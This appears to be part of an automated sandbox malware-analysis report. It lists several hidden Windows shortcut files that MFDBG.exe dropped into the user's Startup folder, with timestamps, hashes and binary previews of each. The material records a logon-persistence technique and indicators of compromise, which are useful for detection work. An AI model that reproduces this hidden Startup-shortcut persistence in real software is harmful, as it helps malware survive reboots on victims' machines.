Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...6...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d194456edfc2452999383a0243c4bcb0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944940139710639
Encrypted:	false
SSDEEP:	24:8JhBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8J90R6rMhpBoUBxdRd1nYyg
MD5:	6FE9B322B9FB286E72EA4416EC6199BC
SHA1:	26DDCA824618210E53DC5AB4E3D98DD609A0E839
SHA-256:	7B012BACD0C99E16E41C4D19DA6F5A16B2F3B68ACC5714475D66B3DC4B9BED66
SHA-512:	DF2288EBED7F24BCBE1A982EB294916D0122D2DBAF4C650D05A7B450FB2A6E2B9C2F2F14F58834E7167AFCD6787BB1453079D2BBF6F146FC1A3810AC83FC363F
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d1bb165fa30b4a90a1406eee498d999f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94427504058979
Encrypted:	false
SSDEEP:	24:8k2hBfEH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8D8c0R6rMhpBoUBxdRd1nYyg
MD5:	0E1ABA3410BA9717C015C5E6D3FA518E
SHA1:	82EFB094AD85B8C3DA23B5023879625F32D017B9
SHA-256:	DFFD894C2F99304EA1CCA1FAD456973170D89C3D635B6106C512FEDBF062A186
SHA-512:	B32861AA5C177F813E8CE72B77EAD9FD1870DC06CA0814D8339242C4A29D6EBBFB24B1F7BF9A20EABE995F4E9A70AE8128CF01FBCC5F1EE01D7C09D22AE827B0
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..../..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d1f077e0861b44359694aa86ac4c1f8f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934099674862207
Encrypted:	false
SSDEEP:	24:8MhBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+nC0R6rMhpBoUBxdRd1nYyg
MD5:	5DD9DE9DA034C4F5B39A957E6A4AF847
SHA1:	FCAB1968E6960D438D42198333FDC52DCA40DBE1
SHA-256:	AD8A5B7233CFDBADD0FF6E4422713232FE2258412E954CF288324F300BB25A51
SHA-512:	57A73323EBD1EBC59754053AAC666927592AC2011E5C3EECB3132ABF07EFE1436856B08025DC211BE2A0B0F10994EB3409A106AA865AB8AE4DA8364CC099C43C
Malicious:	false
Preview:	L..................F...."...]W%.{...9...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d23b69cc2383447fb982c96745391c74.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937463530626462
Encrypted:	false
SSDEEP:	24:8rhBfP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ps0R6rMhpBoUBxdRd1nYyg
MD5:	413691E1F372523E06C791911B463342
SHA1:	3CE44DC67B0EEDB2A90E31012CA405F0F542D149
SHA-256:	166B84C4E572C973F859FBEF9BE50408B479BC75229FF3F672A983671673F92B
SHA-512:	A03E5AD9669E363E859DAC3F80EE3555D90CAA9606681C73B534B5423380EDFBDBD9D9B85D281D30FD2AF0831AD8171B645CE8BF5D5DD401F681AF859554F43E
Malicious:	false
Preview:	L..................F...."...]W%.{...).L.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S.E.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d25ffff78ca246d7b68597965c17ceab.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934148377529595
Encrypted:	false
SSDEEP:	24:8fhBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8D90R6rMhpBoUBxdRd1nYyg
MD5:	0EB38D6D669170E57D9F1BF1EE30601B
SHA1:	311A4CDE2157D7DFB912C18A137D84C4B2374B46
SHA-256:	D6F3F92EED0EDE0E925D549C5BF46ABE62FF731B763F456063BA38EAA7221A03
SHA-512:	EB848450A971F7172265110B5960572ED6FD021786656618098627E6B8BCDA5C860894704D87540CCB58DFA17BE536909B6CD692419B27332C76A09428E181F5
Malicious:	false
Preview:	L..................F...."...]W%.{....Pj.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Vc.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d268c7bcbba1419ab7aaede5978c7a7e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938002427833172
Encrypted:	false
SSDEEP:	24:8khBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Gr0R6rMhpBoUBxdRd1nYyg
MD5:	E5553BF97A4D07206B98D24DA979EE7F
SHA1:	6EA60FC10010479A2D0ABD53AD6CE6CF895E4113
SHA-256:	8EC6280CF114074751DABB1660235AAB6EBA10BB6C430D01353F11FF896C09D0
SHA-512:	B0E2618B74813B4F523446EC24BCBAC64149FDB45EA0FF2A61F7CF77F877F3EE7290384E5E8C4D065207BCE6AF5335CD0567BB78D18F5B0467652815A334810C
Malicious:	false
Preview:	L..................F...."...]W%.{...J...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d2cc2b0faf374fa9ac65d3168962eaf7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934957469948311
Encrypted:	false
SSDEEP:	24:8chBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ul0R6rMhpBoUBxdRd1nYyg
MD5:	B8E0F4EA8A0F831E1B85C93192EAEE38
SHA1:	62D03B2DA8675F923AC4618C6BD461BDB31E0735
SHA-256:	09F40F7AECCD4C2EF3DA1710B7258F788752ADE605050B943F77F99D1D2474B6
SHA-512:	BD7E980FFEA603F3528B108704069485648FFD59DC4DF25F7067D2B74F6130BA1AB5851360302BD07F23FE9BFF086B493BAB113F6A8A3758F49B41511538F026
Malicious:	false
Preview:	L..................F...."...]W%.{...$...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d2dc673412774fd19838c32c3a6c4750.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937189715497309
Encrypted:	false
SSDEEP:	24:8OhBf+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8E70R6rMhpBoUBxdRd1nYyg
MD5:	270D2075195F01A6186807FE41D7E709
SHA1:	38C2AE3553867C2BE076A3BA1B4B65507D2B3E5B
SHA-256:	43B4A9D03E07F4D6CF45F2B94EACCF8C3FAA2E1305E17C0010E98757AFD2BD65
SHA-512:	21C74765775D4491073C8513881F856888D82B05F0F65C3F21AD543666318556D9CF783026A91D2118DE4EAF651058CB90E6280C4FB10942DA62E328EDE13A92
Malicious:	false
Preview:	L..................F...."...]W%.{...^...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...^...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d35789e73b36439093fc8282c6d719c1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:11 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935143297879129
Encrypted:	false
SSDEEP:	24:8thBfM8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Nx0R6rMhpBoUBxdRd1nYyg
MD5:	AB9CF3098EC528418F436F0CC234E7F5
SHA1:	7D2873B9C52D56C79422D81A9C8A70F01B3A7B71
SHA-256:	D4305F6F923A7029ED1842422EB8D7690E02858B3BB5EE19B771D94A6FA5679A
SHA-512:	6671C2205055938C04745A0CAB15517BED0EFEB3B5E927DC98964A081BCEC683646294735566D5C7D42063AFD70DBA9C1ED82F0BB762D4DC42D5815C07993139
Malicious:	false
Preview:	L..................F...."...]W%.{...Nn8.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....:.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d38a6d2e704045e1a12ba9d6465e9cdc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938542672812984
Encrypted:	false
SSDEEP:	24:8sGhBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Np0R6rMhpBoUBxdRd1nYyg
MD5:	3FA322AFB4A98C99E64FCB9D2B9E8096
SHA1:	6835328D3834FE1D9AC4E0F70B2BC38C5FDE0AE9
SHA-256:	861CD0DD5C966A3EE24E1378265F88FFD5492C083C88CF28025A7DB14B915166
SHA-512:	2A190328F64645455A8DD65202FE68C7CB7674FF57DBC424E3A395A0660E5CC1143E2186550ECCAB6931A0347BCABD08E09526063AD3876B5F822CBD406FC6CB
Malicious:	false
Preview:	L..................F...."...]W%.{...wL..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d447c00cecf44d9488253d4c6b16fe71.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939350499304944
Encrypted:	false
SSDEEP:	24:8JhBfP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Js0R6rMhpBoUBxdRd1nYyg
MD5:	F05DC8746BE641764186003A7644702B
SHA1:	DC6C87CF6664F54889AB61ADD9DD89D9E540A237
SHA-256:	73148AA2E6DF0F36F775D919399FCE536BB303E2454ADD68F50B724C7D76CA31
SHA-512:	F238B01B8CC54D5E14EA33D6AF4498759AD1BDC1E3F43AFFB3A3D8CA90A5FF091690B7619FF1700871CB4828A812E0B444B38F330B6E3022DF7E267153FAEF57
Malicious:	false
Preview:	L..................F...."...]W%.{....Q.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S.E.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d49905921b1c437fb0166246505ce1fb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928649192577889
Encrypted:	false
SSDEEP:	24:8thBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ni0R6rMhpBoUBxdRd1nYyg
MD5:	0012302B677CC00DED38DABC1CC61866
SHA1:	3DF8CCAE94EF01F1B29DFAA8AD6AF4B44C68B71B
SHA-256:	9AFF89158C720B112ED36DE868A9B59D769DF68D81633BA9068966FF7F62B33B
SHA-512:	D5BCFE66C016B417B9E54CEFAC6325465D2FED33C1068D013B61C18AE4176204353FCBCA7D5E54D0EA476BD5A2420B9AD157BAE6D20BBB3F96AC2CC89ABC11ED
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4a1590890a04f499d0caa58cc4f7bec.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943609941468942
Encrypted:	false
SSDEEP:	24:8QhBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8C3C0R6rMhpBoUBxdRd1nYyg
MD5:	D6F8B7086A8543A6CE887B2FDCE7F6A9
SHA1:	171C5F941D780030DD594F8C25C9A50ECB64BE83
SHA-256:	2705F10559368C08CFE5B2E326383D36B7ADEF58850547217C7327F0A378079E
SHA-512:	FB1DFC037614BB29EF56451BD8585B726C66B6CA81EA0B4DCCA563E00F2323CF6CD1A304D52323C771B50A8F8CB6CE1245963C1993172A8C378636DEE283DA19
Malicious:	false
